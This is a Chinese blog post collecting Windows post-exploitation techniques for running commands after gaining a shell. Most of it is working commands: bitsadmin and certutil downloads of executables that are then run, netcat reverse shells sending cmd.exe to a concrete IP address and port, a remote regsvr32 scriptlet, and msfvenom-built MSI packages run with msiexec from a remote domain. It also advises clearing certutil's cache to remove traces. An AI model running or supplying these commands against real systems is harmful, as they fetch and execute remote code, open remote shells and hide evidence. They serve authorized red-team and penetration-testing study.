Windows系统命令执行的几种姿势

本文最后更新于 2025年7月11日 下午

🚀 0、简介

​ 当我们在渗透测试中拿到目标 Shell 🐚 后,通常需要进一步执行命令、上线、维持权限。
本文总结了几种常见的 Windows 命令执行姿势,供学习研究使用。


📌 1、CobaltStrike 命令上线

​ 使用 CobaltStrike 可以方便地生成 PowerShell Payload,用于命令行上线到 C2 💻。

📷 演示:

img


📌 2、bitsadmin

bitsadmin 是 Windows 内置的一个命令行工具,可用于创建下载/上传任务,并监控其进度 🔄。

⚠️ 注意:

  • 需要 管理员权限,普通用户无法使用。
  • 保存文件时需使用 绝对路径

示例:下载执行文件

1
bitsadmin /transfer n http://xxx.com/artifact.exe C:\shell.exe & start C:\shell.exe

📷 演示:

img

img

使用 nc 反弹 shell:

1
bitsadmin /transfer n http://xxx.com/nc.exe C:\nc.exe & start C:\nc.exe -t -e cmd.exe 121.4.69.24 6667

📷 演示:

img


📌 3、certutil

certutil 是 Windows 自带的证书服务工具 📜,可用于下载文件,适用于 XP 到 Win10

⚠️ certutil 下载文件会在本地留缓存,建议操作完成后删除缓存。

缓存位置:

1
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

示例:下载并执行

1
certutil -urlcache -split -f http://xxx.com/artifact.exe 7z.exe & start 7z.exe

📷 演示:

img

📌 certutil 可以在 普通用户权限 下运行,若使用管理员运行(如在 CS 中带红色闪电 ⚡),可获得更高权限。

同样可以用 nc 反弹 shell:

1
certutil -urlcache -split -f http://xxx.com/nc.exe nc.exe & start nc.exe -t -e cmd.exe 121.4.69.24 6667

📷 演示:

img


📌 4、regsvr32

regsvr32 是用于注册或卸载 COM 组件的命令 🧩。
可以通过构造 .sct 文件来下载并执行后门。

示例:构造 .sct 文件执行命令

1
2
3
4
5
6
7
8
9
10
11
<?XML version="1.0"?>
<scriptlet>
<registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}">
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>

执行命令:

1
regsvr32.exe /u /n /s /i:http://xxx.com/calc.sct scrobj.dll

📷 演示:

img


📌 5、msiexec

msiexec 可以远程执行 MSI 安装包 🎛️,可用于执行自定义 Payload。

示例:使用 msf 生成 MSI

1
2
# 使用 msfvenom 生成 MSI 文件,上传至 VPS
msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi

📷 演示:

img

远程执行 MSI 文件

1
msiexec /q /i http://tools.imortal.icu/calc.msi

📷 演示:

img


⚠️ 6、总结

以上几种姿势都是在合法授权下进行的红队演练和渗透测试中常用的后渗透技巧 🔒。